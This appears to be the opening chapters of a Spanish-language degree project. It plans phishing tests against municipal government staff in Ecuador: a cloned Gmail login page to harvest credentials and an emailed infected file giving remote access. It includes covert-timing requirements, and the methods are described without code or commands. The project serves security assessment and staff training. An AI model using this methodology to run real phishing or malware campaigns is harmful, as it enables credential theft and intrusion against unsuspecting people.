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RESUMEN

La presente propuesta procura determinar el uso de la Herramienta correcta, para aplicar
Hacking Etico y asi poder analizar la seguridad de la informacion, que manejan los
operarios de los diferentes departamentos en el Gad municipal, permitiendo vulnerar la
informacion por medios de herramientas de Ingenieria Social, ya que estos ataques son

efectuados directamente a los usuarios.

Se implementd dos escenarios de prueba, ejecutados en diferentes departamentos del Gad
Municipal, utilizando metodologia de Ingeniera Social, con la finalidad de recrear
ambientes controlados ante un ataque de seguridad de la informacion.

En el primer escenario, el personal que labora en uno de los departamentos fue atacado por
phishing, donde se pudo clonar la pagina de acceso de Gmail, obteniendo asi las

credenciales de acceso de los usuarios.

En el segundo escenario, se procedio a emitir un archivo que contenia un virus, con titulo
referente al area de trabajo, enviada por correo, y que posteriormente fue receptado por el
personal del Gad Municipal, provocando la vinculacion remota hacia el equipo

comprometiendo la informacién que tramitaba.

Como resultado en la implementacion de técnica en Ingenieria Social se proporcion6 a
generar recomendaciones en plan de seguridad de la informacion para prevenir ataques que
puedan comprometer la ética del Gad Municipal, instruyendo al personal de los diferentes

departamentos en saber codmo actuar ante un ataque de Ingenieria Social.
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INTRODUCCION

En estos ultimos afios se ha podido distinguir el incremento valorativo de ataques
informaticos a nivel nacional e internacional, de manera que, incurre a la paralizacion de
servicios sustanciales por fallos de equipos computos dificiles de detectar, procreando la
filtracion de informacion o sustraccion economica significativa, por tanto, la pérdida de
imagen y credibilidad sera evidente ante la sociedad [1]. Por consiguiente, el atacante que
aplica ingenieria social es el de explotar al eslabon més débil de la organizacion, el
usuario. Dependiendo de su osadia, el atacante puede utilizar herramientas tecnoldgicas o
incluso los encuentros cara a cara para obtener la informacion que necesita. Es importante
reconocer que, no solamente el usuario de los sistemas esta expuesto a sufrir un ataque de
Ingenieria Social; el mismo personal de seguridad informatica esta expuesto e igual de

vulnerable [3].

El implementar diferentes técnicas de Ingenieria Social hacia una entidad publica es
importante, debido a que proporciona un panorama general, de seguridad en la informacién
respecto a los tramites que diariamente realizan los usuarios, convirtiéndose en objetivo
principal, poder medir el grado de capacidad en el personal del Gad Municipal ante un
ataque de Ingenieria Social, para posteriormente proponer soluciones que puedan evitar el

sustrajo de informacion de los usuarios.

Este documento se deriva de componentes practicos para un examen complexivo con los

siguientes capitulos:

Capitulo 1: Este capitulo constituye a los antecedentes, descripcion, objetivos,
justificacion y metodologia que busca medir el grado de vulnerabilidad del personal
administrativo del Gad Municipal donde actualmente se desconoce los

posibles ataques de Ingenieria Social.

Capitulo I1: En esta seccion se establece marco tedrico y metodologia del proyecto,
basadndose en investigaciones de marco conceptual, con definiciones de tecnologias y

herramientas aplicadas al proyecto.

Capitulo I11: Es el componente donde se desarrolla el proyecto, definiendo ataques de
phishing, diagramas de Ingenieria Social, acompafiado del desarrollo del proyecto derivado
en 6 fases las cuales son; lIdentificar victima, Reconocimiento, Crear escenario, realizar

ataque, obtener informaciéon, Reporte y soluciones.
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CAPITULO |

FUNDAMENTACION
1.1 ANTECEDENTES

En estos ultimos afios se ha podido distinguir el incremento valorativo de ataques
informaticos a nivel nacional e internacional, de manera que, incurre a la paralizacion de
servicios sustanciales por fallos de equipos computos dificiles de detectar, procreando la
filtracion de informacion o sustraccion econdmica significativa, por tanto, la pérdida de

imagen y credibilidad sera evidente ante la sociedad [1].

En el mundo de la ciberseguridad, la ingenieria social es un grupo de técnicas de
manipulacion emocional y engafio que los estafadores utilizan para obtener informacién
confidencial de su victima, acceder de manera ilegal a su computadora o teléfono celular,

suplantar su identidad y sustraer dinero de las cuentas bancarias o perjudicar su reputacion

[2].

El fin del atacante que aplica ingenieria social es el de explotar al eslabon mas débil de la
organizacion, el usuario. Dependiendo de su osadia, el atacante puede utilizar herramientas
tecnoldgicas o incluso los encuentros cara a cara para obtener la informacion gue necesita.
Es importante reconocer que, no solamente el usuario de los sistemas esta expuesto a sufrir
un ataque de Ingenieria Social; el mismo personal de seguridad informatica esta expuesto e
igual de vulnerable [3].

Algo curioso que reveld el Panorama de Amenazas en América Latina 2021 es que los
ataques de phishing (mensajes fraudulentos) han disminuido. Sin embargo, varios paises de
la regidn se encuentran entre los méas atacados del mundo. Considerando la proporcion de
usuarios atacados durante los primeros ocho meses del afio, Brasil figura en el primer lugar
con 15,37% de usuarios que registraron algln intento de ataque. Le sigue Ecuador
(13,36%), Panaméa (12,60%), Chile (11,90% y Colombia (11,09%). Cabe destacar que
Venezuela (7,19%) y la Republica Dominicana (5,62%) figuran entre los paises con la

menor cantidad de ataques de ingenieria social a nivel mundial [4].
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Figura 1 - Ataques de Ingenieria Social a nivel Mundial

Para el ataque de la Ingenieria social, derivan varios conceptos que estan relacionados con
la seguridad informatica, sin embargo, los mayores contextos dictan que la Ingenieria
social, a través, de técnicas ejecutan un sin nimero de manipulaciones hacia el usuario,
para que, la victima voluntariamente ejecute actos que probablemente no realizaria,
convirtiéndose en un punto clave de vulnerabilidad, para la obtencion de informacion

relevante y secreta perjudicando su situacién laboral y en ocasiones su integridad.

Es de manera concurrente saber que entidades publicas del estado Ecuatoriano son
expuesta a Ingenieria social provocados por ciberdelincuentes, que planifican con
antelacion su ataque investigando al usuario o empresa para luego utilizar los medios mas
comunes como son los Correos Electrénicos, Las Redes Sociales, Mensajes de texto y el
contacto personal, para asi, poder crear un vinculo entre la victima y el ciberdelincuente,
Uno de los casos sustito en la Provincia de Orellana en el GAD Municipal donde se
registré un caso de Ingenieria Social provocado al portal web, por lo consiguiente, se

observo un defacement que significa desfiguracion mostrando el hackeo de la pagina [5].

Ecuador se encuentra en la Escala Mundial de ataques a la red por ciberdelincuentes en el
puesto numero 31, informacion derivada de la compafiia de seguridad informatica
Kaspersky, cuando hubo el proceso de quitar el asilo a Julidn Assange, sin embargo, desde
ese suceso se han registrado mas de 40 millones de ataques de ciberdelincuentes, la
mayoria proveniente de los Estados Unidos, Brasil, Holanda, Francia, Austria, Reino

Unido inclusive Ecuador mismo [6].
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CIBERAMENAZA MAPA EN TIEMPO REAL ¢

ECUADOR

kaspersky

Figura 2 - Kaspersky, Monitoreo en tiempo real de ciberamenaza, tomada el 20 de abril del 2020 a las 06:15 am

El Gobierno Auténomo Descentralizado (GAD) es una Institucion con varios
departamentos de infraestructura financiera, social y Administrativa, separados por poderes
de caracter politico, El cual fue fundada un y lleva consigo

afios de asesoramiento por el Consejo Cantonal de Santa Elena [7]. Actualmente cuenta
con un area de Sistema que se encarga de administrar la red en todo el sector Institucional,
en el cual afios anteriores se ha establecido controles y mecanismo para poder salvaguardar
la seguridad de la informacién que se mantiene dentro del GAD, el cual ha provocado que
los operarios que laboran en los departamentos de la Institucién no estan preparados ni
prevenidos para un ataque de ingenieria Social hacia las multiples informaciones de

usuarios que manipulan diariamente.

Es claro saber que se necesita una auditoria y consultoria informatica debido a que, en su
sistema de distribucién de red, se encuentra con falencias determinadas por mala
segmentacion de red, controles y mecanismo mal implementados, adicionandose a una

mala gestion dentro de los recursos que ofrece la red del GAD Municipal,

El Municipio Dentro de sus Departamentos, se lleg6 a determinar que tienen un mal manejo de
sus usuarios y contrasefias para entrar al sistema, por lo que, se observé papeles de tamafio
reducidos pegados al Monitor, Exponiendo sus credenciales de ingreso al Sistema, no obstante
a eso, se pudo fijar que no todo el personal que labora en el GAD puede diferenciar entre un
correo electrénico con Fines Productivos Verdadero y uno falso, estableciendo que no conocen
los diferentes metodos de Ingenieria Social que pueden sufrir, esto se da por la falta de

capacitacion hacia los operarios que laboran en los departamentos,.

Para el Gad Municipal tener estas Falencias en sus operarios conlleva a desencadenar

multiples desastres que puede comprometer la vida social del GAD Municipal, donde un
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ataque como es el phishing, que usa medios digitales para engafiar al usuario y obtener
datos confidenciales, como sus credenciales, quede expuesto a comprometer datos muy
relevantes e importantes, de ciudadanos que luego dicha informacion es

usada por ciberdelincuente para sus delitos informéticos.

El phishing puede también venir ataviado de un virus llamado ransomware que es la
restriccion denegada a varios equipos, encriptando informacién y manipulando al GADM
con fuertes cifras de dinero para poder recuperar el control total de los Ordenadores, en los
departamentos, por consiguiente, su alto régimen de ética quedaria golpeada y vista como
una institucion sin integridad, disponibilidad y confiabilidad. el cual seria muy deplorable

para la Provincia.

El GAD Municipal en sus departamentos de acuerdo con su funcién, pueden también llegar
a sufrir un ataque de Baiting y Scareware proveniente de la Ingenieria Social que son
técnicas para bombardear con mensajes, en descarga de contenido atractivo o alarmas
falsas diciendo que el equipo estd infectado, comprometiendo el acceso total a su
Ordenador si le da clic a cualquiera de estos ataques cibernautico comprometiendo la alta
integridad del GAD Municipal.

Constantemente los ciberdelincuentes estan monitoreando y manipulando las diferentes
técnicas de Ingeniera Social, para ingresar a las Diferentes Instituciones del Estado (Publicas o
Privadas), la cual pone en lista al GAD Municipal para aprovecharse de los Usuarios que
laboran en los diferentes Departamentos y no conocen los diferentes ataques de Ingenieria

Social, desencadenando varios delitos informaticos que pone en juego la seguridad del GAD.

Uno del departamento donde se maneja mucha informacién y tiene un alto indice de
personal trabajando tanto interno como externo es el departamento de Talento Humano

siendo este uno de los més vulnerables que puede tener una Institucion [8].

Este departamento suele ser partidario en la suplantacion de identidad por falta de
conocimiento, por lo cual, se facilita la sustraccion de informacion, credibilidad, imagen y
actividades relacionadas con el departamento de talento humano, considerando un alto

riesgo de amenaza, tanto para los ciudadanos como para el GAD.

En conocimiento general se conocié que La Universidad San Carlos de Guatemala. Mostro
como uno de sus trabajos de titulacion: Seguridad Informatica orientada a particulares

14



descripto por Flores Barco Jorgue quien enfatizaba acerca de los ataques malintencionado

que afectan a los usuarios que laboran [9].

También La Universidad Internacional Sek de Quito de la Facultad de Ingenieria de
Sistema y Telecomunicaciones, describié como uno de sus temas Estudio del grado de
incidencia de la ingenieria social en la primera fase de los ataques informaticos que se
realizan actualmente en las empresas privadas del ecuador, que tiene como objetivo
Disefiar un plan de contingencia informatico para el area de Tl en el G.A.D Municipal del

canton Salcedo de la provincia de Cotopaxi [10].

La Universidad Estatal Peninsula de Santa Elena, compartié como uno de sus temas de
Analisis e implantacion de técnicas y herramientas de ética hacking para la ciberseguridad
que tuvo como finalidad Implantar técnicas y herramientas de ética hacking para la

ciberseguridad basado en las fases de la metodologia PTES [11].

Con la recoleccién de informacion y herramientas en metodologia investigativa se
procedera a la Implementacion de técnicas de ingenieria social en el Gobierno Auténomo
descentralizado de La Libertad para mejorar la seguridad y la informacion que maneja el
departamento dentro de su entorno laboral.
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1.2 DESCRIPCION DEL PROYECTO
El presente proyecto, esta enfocado a determinar las vulnerabilidades utilizando técnicas
de ingenieria social basadas en los sistemas informaticos, para el personal administrativo

del gobierno auténomo descentralizado de La Libertad.
FASE 1 - IDENTIFICAR VICTIMA

Para esta primera fase, debemos identificar el objetivo principal, para lo cual debemos
tener en cuenta por qué lado es mas susceptible poder atacar, es decir, si necesitamos
acceder a informacion de la empresa, debemos seleccionar el personal administrativo,
puesto que es quien maneja y administra cada departamento de la entidad, y para ello

utiliza todos los recursos informaticos con los que la empresa cuenta.
FASE 2 - RECONOCIMIENTO

Dentro de esta fase se procede a aplicar la técnica footprinting, el objetivo es acumular
informacidn acerca de las victimas, en este caso es el personal administrativo de la entidad

donde se esta aplicando el estudio.
La recopilacion de informacion en esta fase incluye:

» Lista de nombre de empleados.

» Correo electronico de cada empleado.
*  Numero telefonico.

* Organigrama de los departamentos.

» Informacion sobre su departamento.
FASE 3 - CREAR ESCENARIO
Para la ejecucion de esta fase implementaremos 2 tipos de pruebas de intrusion o ataques:

» Phishing: El primer escenario es un ataque de phishing utilizando el correo
electronico para llevarlo a cabo. Esta prueba consiste en suplantar un correo que
simule una pagina autentica, con el objetivo que pida al usuario validar datos, de
esta forma se obtendria esos datos.

« Phishing: Este escenario comprende en enviar correos electronicos a distintos
colaboradores de los departamentos que conforman la administracion del
municipio, con el objetivo de enviar un archivo infectado, para crear tlneles en las

maquinas y posteriormente tener una vulnerabilidad a explotar.
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Esta fase del proceso sera llevada a cabo mediante Kali Linux, y la suite de herramientas

destinadas para realizar pruebas de intrusion de ingenieria social.
FASE 4 - REALIZAR ATAQUE Y OBTENER INFORMACION

Dentro de esta fase se procede a ejecutar las dos pruebas anteriormente mencionadas.
Debemos tener en cuenta, la hora laboral especifica en el que se realizaran los ataques. Se
requiere aplicar un ataque por dia, para no levantar sospechas entre el personal

administrativo.
FASE 5- REPORTE Y SOLUCIONES

Esta fase consiste en presentar reportes de cada fase aplicada, donde se especifica, recursos
tecnoldgicos, técnica, objetivos y resultados obtenidos. Por ultimo, en base a la
informacidn que podamos obtener, proponer un manual de seguridad, mediante estrategias
de prevencion de delitos informaticos para evitar que los empleados de la institucion sean

victimas de ingenieria social.

1.3 OBJETIVOS
1.3.1 OBJETIVO GENERAL

Implementar técnicas de ingenieria social basadas en sistemas informaticos, en el GAD

para detectar el grado vulnerabilidad del personal administrativo.

1.3.2 OBJETIVOS ESPECIFICOS

*  Obtener informacion del personal de la institucion para detectar el grado de

conocimientos sobre ataques informaticos.

« Utilizar herramientas de licencia libre para la ejecucion de ataque de ingenieria
social.

» Documentar los resultados obtenidos, de la implementaciéon de metodologias de
ingenieria social.
» Generar politicas de seguridad, mediante estrategias de prevencion de delitos

informaticos para evitar ser victima de ingenieria social.
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1.4 JUSTIFICACION

Ecuador se expone a diferentes amenazas de ciberdelincuentes diariamente provocando
inseguridad en los procesos laborales que se maneja en la parte administrativa, con
informaciones muchas veces confidenciales provocando el déficit de las Instituciones y
empresas en cuanto su confiabilidad, a través de la Direccion general de inteligencia se
detect6 una brecha internacional de hacker que provocaba la amenaza de instituciones

publicas por no mantener un margen de politicas de seguridad [12].

Segun la empresa Kaspersky por medio del comercio describié que Ecuador se mantiene
en la posicién 49 dentro de las estadisticas de paises con mayores incidentes de Ingenieria
social, inclusive, a nivel andino de acuerdo con los especialistas en ciberseguridad Galoget
Latorre, Ecuador ocupa el primer puesto en ser atacado por ciberdelincuentes que busca la
obtencion de Datos relevantes para luego manipularlos y usarlos para posibles estafas, esto
es provocado por la mala capacitacion de los operarios ante amenazas de Ingenieria Social
[13].

Por lo tanto, la implementacién de técnicas en ingenieria social en el gobierno auténomo
descentralizado permitird medir el comportamiento de los operarios que
laboran en los diferentes departamentos del GAD Municipal ante una amenaza relacionada
con ataques de ingenieria social como, correos de procedencia dudosa o extraccion de
datos mediante phishing, pudiendo determinar el nivel de capacitacion y las politicas de
seguridad. por lo consiguiente, mejoraria la confiabilidad de la informacién de usuarios que
gestionan tramites, beneficiandose de manera directa al GAD Municipal en el alto régimen

de ética en seguridad.

El analisis de vulnerabilidad en ataque de Ingenieria Social, también nos permitira
identificar los posibles sistemas operativos que no llevan un registro de actualizacion y que
su antivirus no detecten irregularidades cuando navegan en sitios web no confiables, que
puedan conllevar a una vinculacién con los ciberdelincuentes y el respectivo acceso a
informacion confidencial, por lo cual, se tendra una evidencia generalizada de los déficit

que suscitan en los departamentos mediante la simulacion que se ejecutara.

El &rea de TI del Gad Municipal ante la evidencia de levantamiento de informacion podra
restructurar sus politicas de seguridad permitiendo tener en sus departamentos operarios
que puedan salvaguardar la seguridad de la Informacién de los usuarios, por lo tanto,

tendra mas

18



control en identificar cualquier procedimiento de extrafia procedencia relacionado a

Ingenieria Social, mejorando la seguridad ante cualquier ataque de Ingenieria Social.

El gobierno autbnomo descentralizado en conjunto del &rea de T1 se favorecera ya que con
la ejecucién de las técnicas de Ingenieria Social podra detectar las vulnerabilidades que
poseen los operarios y los ordenadores de los departamentos.

El presente proyecto esta direccionado al plan de toda una vida, haciendo énfasis en el

eje2, el cual detalla lo siguiente:
eje 2: Economia al servicio de la sociedad

Objetivo 5: Impulsar la productividad y competitividad para el crecimiento econémico
sostenible de manera redistributiva y solidaria [14].

Politica 5.6: Promover la investigacion, la formacion, la capacitacion, el desarrollo y la
transferencia tecnoldgica, la innovacion y el emprendimiento, la proteccion de la propiedad
intelectual, para impulsar el cambio de la matriz productiva mediante la vinculacion entre

el sector publico, productivo y las universidades [14].

1.5 ALCANCE DEL PROYECTO

El presente proyecto estd determinado para prevenir ataques de ingenieria social a los
colaboradores en los departamentos de administracion del GAD Municipal, para poder
evidenciar la gravedad que pueda causar ante la extraccion o manipulacion de Informacion
confidencial de los usuarios, por consiguiente, la implementacion de politicas de seguridad
SANS para los cumplimientos estandares, permitira el control de las normas que se deben

seguir ante cualquier amenaza de Ingenieria Social.
Se delimita por seis fases que se mencionan a continuacion:

» Identificar victima: consiste en identificar el objetivo a atacar.

* Reconocimiento: consisten en obtener informacion del objetivo seleccionado.

» Crear escenario: Dentro de esta fase procedemos a crear los escenarios de los
ataques de ingenieria social, para el presente proyecto se realiza dos escenarios de
phishing.
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Realizar ataque: Consiste en la ejecucion del ataque en la entidad, para ello se
debe de considerar el grupo de personas a las que se escogio en la fase de
identificacion a la victima.

Obtener informacion: Una vez aplicado el ataque se procede a revisar la
informacién que se pudo recolectar, también se analizar el porcentaje de las
personas que pudo caer en esta prueba.

Reporte y soluciones: En base a la informacion que se obtiene presentar un
informe detallando cada ejecucién de las fases y presentar un manual de seguridad,
para prevenir posibles ataques de ingenieria social en la entidad.
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CAPITULO Il

MARCO TEORICO Y METODOLOGIA DEL PROYECTO
2.1 MARCO CONCEPTUAL

Pilares de la seguridad de la informacion:

Integridad: El diccionario define el término como “estado de lo que esta completo o tiene
todas sus partes”, La integridad hace referencia a la cualidad de la informacion para ser
correcta y no haber sido modificada, manteniendo sus datos exactamente tal cual fueron
generados, sin manipulaciones ni alteraciones por parte de terceros. Esta integridad se
pierde cuando la informacién se modifica o cuando parte de ella se elimina, y una gran
garantia para mantenerla intacta es, como hemos mencionado en anteriores ocasiones, la
firma digital [12].

Confidencialidad: Por confidencialidad entendemos la cualidad de la informacion para no
ser divulgada a personas o sistemas no autorizados, Se trata basicamente de la propiedad
por la que esa informacion solo resultard accesible con la debida y comprobada

autorizacion [12].

Disponibilidad: El tercer y ultimo pilar de la Seguridad de la Informacion es la
disponibilidad, y es posiblemente el término que menos apreciaciones requiere, Por
disponible entendemos aquella informacion a la que podemos acceder cuando la

necesitamos a través de los canales adecuados siguiendo los procesos correctos [12].

Ingenieria social: En ocasiones, la ingenieria social puede tener resultados positivos,
como fomentar comportamientos saludables; En términos de seguridad de la informacion,
sin embargo, la ingenieria social a menudo se utiliza Unicamente para beneficio del
atacante; En estos casos, la ingenieria social implica manipulacién para obtener
informacion confidencial, como datos personales o financieros; Por tanto, la ingenieria

social también puede definirse como un tipo de ciberdelito [13].
Tipos de ataque de ingenieria social:

Phishing: Phishing es el delito de engafiar a las personas para que compartan informacién
confidencial como contrasefias y nimeros de tarjetas de crédito, como ocurre en la pesca,
existe mas de una forma de atrapar a una victima, pero hay una tactica de phishing que es

la mas comun [14]. Las victimas reciben un mensaje de correo electronico o un mensaje de
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texto que imita a una persona u organizacion de confianza, como un compafiero de trabajo,

un banco o una oficina gubernamental [14].

Spear phishing: Funciona de una manera muy similar al phishing regular, pero la principal
diferencia radica en que este ataque va dirigido a una organizacion en concreto; Esta estafa
sirve para robar informacion sensible de corporaciones y empieza por la identificacion e
investigacion de los trabajadores para entender su comportamiento [2]. Luego, el hacker
usa esa informacion para el ataque que consiste en el envio de correos o mensajes de parte
de supuestos compafieros, para acceder a paginas web maliciosas y robar datos

confidenciales [2].

SIM Swapping: Existen varios ataques que utilizan herramientas de ingenieria social para
lograr su objetivo y acceder a informacion y dinero de otras personas. Uno de ellos es el
SIM Swapping, una modalidad de estafa en la que los hackers suplantan la identidad de su
victima para obtener un duplicado de su tarjeta SIM y acceder a todo tipo de informacién,

como cuentas bancarias [2].

Baiting: Otra técnica comdn de la ingenieria social es el baiting, que consiste en atraer a
las personas apelando a su curiosidad, mediante descargas de contenido atractivo (como
musica o videos) o descuentos especiales [2]. Al dar clic en este tipo de anuncios, el
usuario no solo esta entregando el acceso a su computadora, datos personales y contactos al
ciberdelincuente, sino que también puede perder dinero al hacer compras que nunca

Ilegarén [2].

Pretexting: Esta técnica de ingenieria social se ejecuta comunmente a través de la
generacion de confianza entre la persona y los hackers, quienes se hacen pasar por un jefe,
compariero de trabajo o conocido que tiene una historia convincente para obtener
informacion confidencial. A veces, un externo pedira estos datos sensibles a la victima y
repetird esta accion con otros colaboradores de la empresa para obtener informacién

completa del negocio [2] .

Ataque informatico: Es un intento de acceder a tus equipos informaticos o servidores,
mediante la introduccion de virus o archivos malware, para alterar su funcionamiento,

producir dafios o sustraer informacién sensible para tu empresa [15].
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Cuando se habla de un ataque informatico se hace referencia a la realizacion de una
tentativa de poner en riesgo la seguridad informatica de un equipo o conjunto de equipos,

con el fin de causar dafios deliberados que afecten a su funcionamiento [15].

El desarrollo de estos ataques informaticos, o ciberataques, suele provenir de terceras
personas, ajenas a tu negocio, mediante el envio de virus o archivos malware, disefiados
especificamente para burlar las medidas de seguridad de tus equipos y/o servidores, para

conseguir, alterar o dafiar informacion sensible para tu empresa [15].

Spammers: Los spammers son los responsables del envio masivo de correo electrénico no
deseado. Ellos obtienen una lista de correos electrénicos a través de bases de datos y
empiezan a enviar correo no deseado, que les permite saturar el correo de los usuarios,
como también obtener datos del usuario ya que este al darle clic en esos mensajes da

permiso para obtener su informacion personal [16].

Kali Linux: es una distribucion de Linux de codigo abierto basada en Debian destinada a
pruebas de penetracion avanzadas y auditoria de seguridad; Kali Linux contiene varios
cientos de herramientas dirigidas a diversas tareas de seguridad de la informacion, como
pruebas de penetracion, investigacion de seguridad, informéatica forense e ingenieria
inversa; Kali Linux es una solucion multiplataforma, accesible y disponible gratuitamente

para profesionales de la seguridad de la informacion y aficionados [17].

2.2 MARCO TEORICO
2.2.1 LA INGENIERIA SOCIAL EN LAS REDES SOCIALES

El aumento de mdaltiples opciones en internet para tener una red social como Facebook,
Instagram, Twitter, entre otras, es directamente proporcional a la necesidad del ser humano
de consumir servicios como estos, compartir informacion personal y hacerla publica es la
que aprovechan los ciberdelincuentes para vulnerar las personas y conseguir sus objetivos,
que por lo general no son nada buenos [18]. Los ataques de ingenieria social han ido en
aumento dia tras dia y la estrategia que utilizan los ciberdelincuentes supone un gran
trabajo de investigacion para ellos, lo que los lleva también a ser cada vez mas eficientes y
obtener mejores resultados, la eficiencia de esta modalidad es por lo siguiente [18]:
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2.2.2

Primero recolectan toda la informacion posible extrayéndola de las redes sociales,
para ello se registran en las plataformas creando perfiles falsos ya sea en Facebook,
Twitter, LinkedIn, entre otras [18].

Consolidan un plan de ataque para transmitir fiabilidad. Universidad Piloto de
Colombia. Romero. Ingenieria social [18].

Recolectan informacion particular, entienden su comportamiento (temas de interés,
amigos, gustos, etc.), y ganan su confianza [18].

El atacante hace su primer acercamiento (con un falso perfil) teniendo ya definida
la tactica de engafio que va a utilizar [18].

Cuando la victima lo considera “su amigo,” el delincuente se muestra cercano y
siempre intentard sonsacarle aun mas informacion a través de mentiras [18].

Una vez siendo “amigos,” el ciberdelincuente pedird datos méas personales (correo
electronico, direccion, nimero de teléfono, etc.) [18].

En este punto, la identidad podria suplantar de una manera mas réapida y eficiente, o
se le enviaria a través de correo electronico un enlace llamativo que al abrirlo
ejecutase un troyano que infecta el computador y diera acceso a las cuentas
bancarias de la victima [18].

Después de obtener lo que buscaba el atacante borra todo rastro, abandona perfiles
y no vuelve a hablar con la victima [18].

¢POR QUE CAEN LAS PERSONAS PARA LAS TECNICAS DE
INGENIERIA SOCIAL?

La gente se deja engafiar todos los dias. Y estan en desventaja, ya que no han sido advertidos

adecuadamente sobre los ingenieros sociales [19]. EI comportamiento humano es siempre el

eslabon mas débil de cualquier programa de seguridad. ¢Y quién puede culparlos? Sin la

educacion adecuada, la mayoria de las personas no reconocen los trucos de un ingeniero social

ya que a menudo son muy sofisticados. Los ingenieros sociales utilizan una serie de tacticas

psicoldgicas en las victimas inocentes [19]. Como Bushwood Consultores manifiesta, los

ingenieros sociales exitosos estan seguros y tienen control de la conversacion. Simplemente

actan como si pertenecieran a una asociacion, a una empresa, universidad, grupo de

amistades, colegas, etc., ya que su confianza y postura corporal pone a los demas a gusto. Los

ingenieros sociales confunden a la gente segln cuatro principios bésicos:
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* Proyectan confianza. En lugar de a escondidas, de manera proactiva se acercan y
Ilaman la atencion sobre si mismos [19].

« Dan algo. Incluso un pequefio favor crea confianza y la percepcion de estar en deuda.

* Usan el humor. Es entrafiable y desarmado [19].

» Hacen una peticion y ofrecen una razén. La psicologia demuestra que las personas
tienden a responder a cualquier solicitud motivada [19]. "Las personas a cargo de la
seguridad en conciertos, conferencias, exposiciones ni siquiera buscan
identificaciones, carnets, pases o insignias" [19]. "Por eso, si el intruso es
sorprendido, puede decir que es un fanético tratando de colarse de nuevo y echar un
vistazo a la estrella y que estd trabajando el caso, ya que parecen como Si

pertenecieran alli [19]."

2.2.3 EL ARMA INFALIBLE: LA INGENIERIA SOCIAL

En el afio de 1989 se presentd “el primer ataque informatico de la historia, cuando una
empresa de venta de revistas estaba promocionando disquetes, para llamar la atencion de
los transeuntes, esta empresa regalaba a disquetes a todos los que pasaran por enfrente de
la empresa, al hacer ingresarlos a los computadores, los ciudadanos se dieron cuenta que

estos estaban infectados por un malware” [20].

En ese mismo afio, “la empresa IBM comercializo el primer programa antivirus en el
mercado”, lo que dio origen a grandes ganancias en el mercado de la proteccion de la
informacion de los usuarios informaticos. Actualmente existen diferentes maneras de
ejecutar ataques informaticos a través de modalidades efectivas y en donde los ciber-

delincuentes hacen caer a sus victimas [20].

En cuanto a este tema existen varios trabajos de investigacion realizados en todo el
mundo, se pueden mencionar algunos de ellos, por ejemplo: En cuanto a antecedentes, a
nivel de la UNAD, solo existe un trabajo relacionado con la ingenieria social [20]. Este
proyecto lo hizo un estudiante de la ciudad de Neiva Huila, perteneciente al programa de
Especializacion en seguridad informatica, este trabajo era de modalidad investigativa,
referente al tema de la seguridad de la informacion en la Universidad Cooperativa de

Colombia, enfocado en las vulnerabilidades utilizadas por la Ingenieria Social [20].
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2.3 METODOLOGIA DEL PROYECTO
2.3.1 METODOLOGIA DE INVESTIGACION

Los estudios exploratorios se efectGan, normalmente, cuando el objetivo es examinar un
tema o problema de investigacion poco estudiado o que no ha sido abordado antes [21]. La
presente propuesta tecnolégica no ha sido implementada en los departamentos
administrativos, aunque cuenta con un area de sistema, su distribucién y control en los
procesos de red no garantiza la seguridad correspondiente que debe tener, por lo tanto, el
estudio explorativo que se realiz6 para investigar dicha vulnerabilidad se derivo de fuentes
bibliografia y proyectos que se asemejan a la investigacion de vulnerabilidad.

La investigacion diagndstica es un método de estudio mediante el cual se logra conocer lo
gue ocurre en una situacion especifica [22]. Por lo tanto, se realizd un monitoreo de los
colaboradores para obtener informacion relevante, sobre cuanto conocen acerca de los

ataques informaticos, donde se involucran técnicas de ingenieria social.

2.4 METODOLOGIA DE DESARROLLO

Para el desarrollo del proyecto, se pretende utilizar la metodologia de ingenieria social, la
cual nos provee 6 pasos o fases que se utilizan para llevar a cabo un ataque informatico

utilizando el intelecto y la ingenuidad de los seres humanos [23].
Esta metodologia esta comprendida de la siguiente forma:

» ldentificar victima: consiste en identificar el objetivo, la persona o el grupo de
personas por el cual se obtendra informacion de la empresa.

* Reconocimiento: consisten en obtener informacion del objetivo seleccionado, estos
datos son: nombres, teléfonos, correos.

» Crear escenario: Dentro de esta fase procedemos a crear los escenarios de los
ataques de ingenieria social a implementar al personal de la entidad, se definira
herramientas y recursos tecnolégicos que ayudaran a llevar a cabo las pruebas.

* Realizar ataque: Consiste en la ejecucion del ataque en la entidad, para ello se
debe de considerar el grupo de personas a las que se escogié en la fase de

identificacion a la victima.

26



Obtener informacion: Una vez aplicado el ataque se procede a revisar la
informacion que se pudo recolectar, también se analizar el porcentaje de las
personas que pudo caer en esta prueba.

Reporte y soluciones: En base a la informacion que se obtiene presentar un
informe detallando cada ejecucién de las fases y presentar un manual de seguridad,

para prevenir posibles ataques de ingenieria social en la entidad.

Figura 3 - Metodologia de ataques de ingenieria social
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CAPITULO Il

PROPUESTA

3.1 REQUERIMIENTOS

Se requiere instalar Kali Linux mediante maquina virtual
RQO1 [ para poder realizar la fase de ataques del proyecto.

Es necesario tener un almacenamiento disponible minimo
RQO02 | de 25GBy de RAM 2 Gb.

Se requiere identificar el objetivo a atacar, determinando el
RQO03 | punto mas vulnerable de la entidad

Se requiere seleccionar una muestra de los departamentos
RQO04 | que conforman el area administrativa de la entidad.

Se debe tabular la informacion recolectada en cada
RQO5 | departamento dentro de la fase de desarrollo adecuada.

Se requiere crear los distintos escenarios para aplicar las
RQO06 | pruebas a la muestra seleccionado.

Debemos realizar las pruebas en perfil bajo, para no
RQO7 | levantar sospechas.

Se pretende realizar las pruebas en horas estratégicas para
RQO08 [ obtener un ataque exitoso.

Se debe identificar cuales son los colaboradores que pueden
RQO09 | llegar a caer en el ataque, para determinar la criticidad de

acuerdo al cargo que ocupa.

Es necesario documentar mediante un reporte las fases del
RQ10 proyecto.

Se requiere realizar una propuesta de medidas preventivas
RQ11 [ de ataques de ingenieria social en la entidad.

Se propone capacitar al personal en general, acerca de los
RQ12 [ ataques de ingenieria social, para que conozcan el grado de

peligro que representa en una empresa.

Tabla 1 - Requerimiento del proyecto
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3.2 DIAGRAMA DE ATAQUES DE INGENIERIA SOCIAL

3.2.1 ESCENARIO 1: Phishing mediante correo electronico

© — &

Servidor controlado por un atacante
Usuarios de los

departamentos |

administrativos del GAD :

pagina 404 personalizada
(sitio web de phishing)

Obtencion de

credenciales del correo.

Figura 4 - Escenario 1 ataque phishing

3.2.2 ESCENARIO 2: Virus en archivo por correo electroni

co

GAD

W)

Malware en un
documento

= MRS @ =
/’1
Departamentos
administrativos del //

Infectar maquinas
objtivos

Figura 5 - - Escenario 2 ataque phishing
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3.3 IMPLEMENTACION DE FASES DEL PROYECTO
3.3.1 FASE 1-IDENTIFICAR VICTIMA

